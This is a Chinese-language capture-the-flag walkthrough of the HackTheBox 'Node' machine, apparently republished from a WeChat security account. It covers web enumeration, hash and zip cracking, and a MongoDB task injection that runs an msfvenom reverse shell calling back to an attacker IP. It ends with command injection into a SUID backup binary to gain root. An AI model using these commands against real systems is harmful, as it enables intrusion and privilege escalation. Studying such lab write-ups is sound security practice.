HackTheBox-Linux-Node

admin 2021年12月22日00:36:30评论76 views字数 2515阅读8分23秒阅读模式

一个每日分享渗透小技巧的公众号HackTheBox-Linux-Node



大家好,这里是 大余安全 的第 117 篇文章,本公众号会每日分享攻防渗透技术给大家。



HackTheBox-Linux-Node

靶机地址:https://www.hackthebox.eu/home/machines/profile/110

靶机难度:中级(4.3/10)

靶机发布日期:2017年10月24日

靶机描述:

Node focuses mainly on newer software and poor configurations. The machine starts out seemingly easy, but gets progressively harder as more access is gained. In-depth enumeration is required at several steps to be able to progress further into the machine.


请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

HackTheBox-Linux-Node



HackTheBox-Linux-Node

一、信息收集

HackTheBox-Linux-Node


HackTheBox-Linux-Node

可以看到靶机的IP是10.10.10.58....

HackTheBox-Linux-Node

nmap仅发现开放了OpenSSH和Node.js....

HackTheBox-Linux-Node

访问web发现存在个登陆界面login....

HackTheBox-Linux-Node

丢着爆破,刚开始就报断点错误,根据做vulnhub靶机经验,这是半张笑脸....后面继续爆破就没任何目录信息....

HackTheBox-Linux-Node

查看前端代码,很多js文件...都查看了一番

HackTheBox-Linux-Node

发现存在/api/users/latest信息目录...

HackTheBox-Linux-Node

进入去掉latest,获得了0类的密匙信息....

HackTheBox-Linux-Node

通过爆破哈希值,获得了密码...这里测试了四个,只有0类可以登陆web....

HackTheBox-Linux-Node

登陆即可....

HackTheBox-Linux-Node

进入后download文件...直接下载是无法下载的一直循环下载....

这里需要开启本地代理进行下载....

HackTheBox-Linux-Node

下载完后读取发现是base64值,解码后读取文件类型,可看到是ZIP压缩文件...

解压提示需要密码...

这里直接利用fcrackzip暴力破解zip类型文件密码..

HackTheBox-Linux-Node

成功获得了密码...

HackTheBox-Linux-Node

解压后,在目录底层继续查看了jx文件内容...

发现了两个信息,mark用户名密码和backup_key....

HackTheBox-Linux-Node

利用mark用户名密码成功ssh登陆到靶机...

HackTheBox-Linux-Node

这里存在三个用户mark、frank、tom,直接列举了tom存在运行的进程...又是app.js

查看发现它访问了mongodb数据库,并执行了任务表中放置的所有任务,可看到setInterval函数,该函数可以在cmd值下执行任何操作...

HackTheBox-Linux-Node

sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.51 LPORT=6666 -f elf -o dayushell.elf

利用MSF制作shell...然后scp上传...

HackTheBox-Linux-Node

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
use schedulershow collectionsdb.tasks.insertOne({cmd:'/tmp/dayushell.elf'})

登录到mongodb,并使用语法插入要执行的有效负载...

过1分钟左右获得了反向外壳....

HackTheBox-Linux-Node

上传LinEnum.sh枚举,枚举SUID时,发现了backup二进制文件...和app.js内看到的backup_key感觉是相匹配的信息...

HackTheBox-Linux-Node

将backup下载到本地...

HackTheBox-Linux-Node

通过IDA查看发现,二进制文件的main函数检查有3个,如果返回false,它将跳转到左侧的块以完全退出...

HackTheBox-Linux-Node

测试给了它3个论点,输出了内容....

HackTheBox-Linux-Node

strace ./backup 1 2 3

利用strace调用跟踪程序走向信息...可以看到程序正在尝试读取/etc/myplace/keys中的内容,去看看....

HackTheBox-Linux-Node

三个密匙....

HackTheBox-Linux-Node

返回查看backup_key,和前面keys对比,发现第一个密匙凭证一样的...果然是有关联的...

HackTheBox-Linux-Node

ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/a

利用ltrace继续进行探测...这里科普下哈:

strace------跟踪进程的系统调用或信号产生的情况

ltrace-------跟踪进程调用库函数的情况

可以看到该目录使用magicword作为密码进行了压缩,然后该zip文件已进行base64编码,另外注意到有许多使用strchr()或strstr()的过滤器,这里可以绕过他们提权...

HackTheBox-Linux-Node

./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf 'n/bin/shnecho OK')"

利用$(),printf和换行符的组合来注入命令成功获得了root权限,并获得了user_flag和root_flag信息...


HackTheBox-Linux-Node

这里backup还可以利用缓冲区溢出,或者我也提示了base64和magicword密码,可以直接提取root_base64值,然后获得root_flag....


web信息收集+hash爆破+ZIP爆破+mongodb数据库分析提权+信息枚举+backup二进制解析提权


由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

HackTheBox-Linux-Node


如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

HackTheBox-Linux-Node
HackTheBox-Linux-Node


HackTheBox-Linux-Node


随缘收徒中~~随缘收徒中~~随缘收徒中~~


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

HackTheBox-Linux-Node

大余安全

一个全栈渗透小技巧的公众号

HackTheBox-Linux-Node



本文始发于微信公众号(大余安全):HackTheBox-Linux-Node

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月22日00:36:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-Linux-Nodehttp://cn-sec.com/archives/450342.html

发表评论

匿名网友 填写信息